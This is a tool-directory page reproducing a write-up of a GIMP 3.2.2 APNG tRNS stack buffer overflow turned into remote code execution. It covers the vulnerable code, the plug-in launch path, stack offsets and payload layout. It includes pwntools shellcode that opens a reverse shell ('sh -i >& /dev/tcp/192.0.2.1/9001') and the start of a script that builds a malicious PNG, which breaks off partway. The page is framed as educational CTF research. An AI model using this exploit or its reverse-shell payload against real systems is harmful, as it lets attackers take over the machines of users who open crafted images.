Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-92183_GIMP_RCE_Proof-of-Concept — GIMP 3.2.2 contains a stack-based buffer overflow in its APNG loader (load_apng_image) when processing the tRNS (transparency) chunk. This writeup demonstrates a proof of concept for remote code execution leveraging this vulnerability. | Kitploit
Tools/GitHubGitHub/cxu0630/cve-2026-92183_gimp_rce_proof-of-concept
Memory ForensicsPayload GenerationVulnerability AnalysisExploitationReverse EngineeringShellcodePapers & ResearchLearning & EducationBinary Exploitation

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
GitHubcxu0630/cve-2026-92183_gimp_rce_proof-of-concept

CVE-2026-92183_GIMP_RCE_Proof-of-Concept

GIMP 3.2.2 contains a stack-based buffer overflow in its APNG loader (load_apng_image) when processing the tRNS (transparency) chunk. This writeup demonstrates a proof of concept for remote code execution leveraging this vulnerability.

View Repository
11 day agoNot yet reviewed

CVE-2026-92183: GIMP APNG tRNS Stack Buffer Overflow → RCE

Author: Chloe Xu, Abby Farrell, George Avdella, Austin Chan
Date: 2026-11-03
Target: GIMP 3.2.2 (Linux x86_64)
CVE: CVE-2026-92183 (7.8 HIGH)
CWE: CWE-121: Stack-based Buffer Overflow
Impact: Remote Code Execution (via malicious PNG/APNG file)

Disclaimer: This writeup is for educational purposes only. The CVE and version numbers are from a controlled academic/CTF exercise. Do not use this against systems you do not own or have explicit permission to test.


1. Overview

GIMP 3.2.2 contains a stack-based buffer overflow in its APNG loader (load_apng_image) when processing the tRNS (transparency) chunk. The chunk length is trusted without validation against the fixed 256-byte destination buffer trns[256], allowing an attacker to overwrite the stack and hijack control flow.

The existing public writeup demonstrates only a denial-of-service (GIMP crashes). This document extends the analysis to a full reverse shell exploit by:

  1. Crafting a valid PNG that forces GIMP down the APNG parsing path via acTL/fcTL chunks.
  2. Injecting a malicious tRNS chunk whose length exceeds 256 bytes.
  3. Placing shellcode on the stack and overwriting the saved return address to jump into it.

The exploit assumes a non-hardened environment (ASLR disabled, NX disabled, no stack canary) as described in the reference slides. We also discuss why these mitigations matter and how the exploit behaves when they are enabled.


2. Vulnerability Analysis

2.1 PNG and APNG Chunk Structure

A PNG file consists of chunks:

FieldSize
Length4 bytes (big-endian)
Chunk Type4 bytes (ASCII)
Chunk DataLength bytes
CRC4 bytes

APNG extends PNG with additional ancillary chunks:

  • acTL (Animation Control) — marks the file as an APNG. Must appear before the first IDAT.
  • fcTL (Frame Control) — precedes each frame's data.
  • fdAT (Frame Data) — contains frame data (alternative to IDAT for subsequent frames).

GIMP's PNG plugin (file-png) branches to load_apng_file when it sees an acTL chunk, even if the file extension is .png.

2.2 The Vulnerable Code

From the patch diff:

Vulnerable version (GIMP 3.2.2):

else if (png_id == id_tRNS)
{
    for (gint i = 0; i < chunk.size; i++)
        trns[i] = chunk.data[i + 8];
}

Patched version (GIMP 3.2.6):

gint transparent_size = MIN(chunk.size, 256);
for (gint i = 0; i < transparent_size - 8; i++)
    trns[i] = chunk.data[i + 8];

The destination buffer is declared as:

guchar trns[256];

Because chunk.size is read directly from the file and is not bounded, a tRNS chunk with size > 256 overflows trns[] on the stack. The + 8 offset indicates that chunk.data points to the start of the chunk (including the 8-byte length + type header), so chunk.data[i + 8] reads the actual data bytes.

2.3 Reaching the Vulnerable Function

Process Diagram for reaching load_apng_image()

When a file is opened, the GIMP core selects the loader before any plug-in code runs. file_open_pre_check() calls gimp_plug_in_manager_file_procedure_find(), which matches on extension or magic bytes. A .apng file goes to file-apng-load, and a file with the PNG signature goes to file-png-load. The core runs the chosen procedure through gimp_plug_in_manager_call_run(), which spawns the file-png plug-in as a child process and sends the procedure name and arguments over a pipe. In the child, load_image() always runs first and builds the base PNG layer. apng_load() then calls load_apng_image() unconditionally. png_load() calls it only if load_image() saw a png/fcTL chunk. load_apng_image() reopens the file and parses the chunks itself, so the earlier libpng pass validates nothing for it. png_load() also ignores its return value and reports success either way.

The child is created by gimp_spawn_async(), which on POSIX systems calls vfork() and then immediately execve() (app/core/gimp-spawn.c:171-199). execve() discards the child’s memory mappings and loads the file-png binary and its libraries from scratch. The child therefore holds none of the parent’s heap or stack, and on systems with ASLR it gets a fresh address layout for every image open. What survives the exec is the process ID, the user’s privileges, the environment GIMP passes in, and any file descriptors not marked close-on-exec. Those include the two pipe ends passed on the command line. The parent’s own pipe ends are marked close-on-exec so the child does not inherit them. This isolates memory but does not sandbox the child. A compromised child can still run as the user, read the same files, and send the parent crafted messages and tile data over the pipe and shared memory.


3. Exploit Development

3.1 Stack Layout and Offset

The vulnerable function's stack frame (simplified, compiled with -O2 -z execstack -fno-stack-protector):

+------------------+  <- lower addresses
| trns[256]        |  (offset 0)
+------------------+
| ...              |
| saved RBP        |
| saved RIP        |  <- return address
+------------------+  <- higher addresses

The exact offset from the start of trns to the saved return address depends on the compiler and surrounding locals. In the reference environment it is 312 bytes. We determined this by:

  1. Sending a cyclic pattern as the tRNS data.
  2. Crashing GIMP under GDB.
  3. Inspecting the value of RIP at the crash and computing the offset with cyclic_find().

With -O2, the loop iterator i is likely stored in a register, so it does not sit between the buffer and the return address. The 312-byte offset accounts for trns[256] plus alignment and other saved registers.

3.2 Payload Layout

The tRNS data is:

[ 312 bytes 'A' ] [ 8-byte return address ] [ 1410 bytes NOP sled ] [ shellcode ]
  • Filler fill trns and reach the saved return address.
  • Return address = 0x7ffffffffdeb2 + 0x10 (points into the NOP sled).
  • NOP Sled provide a landing pad.
  • Shellcode executes execve("/bin/bash", ...) to spawn a reverse shell.

Shellcode (generated with pwntools):

context.arch = 'amd64'
shellcode = asm(shellcraft.amd64.linux.execve(
    '/bin/bash',
    ['Hello form payload', '-c', 'sh -i >& /dev/tcp/192.0.2.1/9001 0>&1'],
    {'PATH': '/usr/bin:/bin'}
))

The execve replaces the file-png child process with a shell. Because GIMP forks a child for plugin execution, the shell survives independently of the main GIMP process (which hangs waiting for the plugin). The attacker receives a reverse shell on port 9001.


4. Payload Crafting

4.1 1x1 Image Generator

This script creates a minimal 1×1 PNG and injects the malicious tRNS chunk directly. It is useful for understanding the file structure.

#!/usr/bin/env python3
# create_payload.py

from pwn import *
import png
import io

# Minimal 1x1 PNG
pixels = [[0]]
writer = png.Writer(1, 1)
byte_stream = io.BytesIO()
writer.write(byte_stream, pixels)
byte_stream.seek(0)

# Shellcode: reverse shell to 192.0.2.1:9001
context.arch = 'amd64'
shellcode = asm(shellcraft.amd64.linux.execve(
    '/bin/bash',
    ['Hello form payload', '-c', 'sh -i >& /dev/tcp/192.0.2.1/9001 0>&1'],
    {'PATH': '/usr/bin:/bin'}
))
Download Tool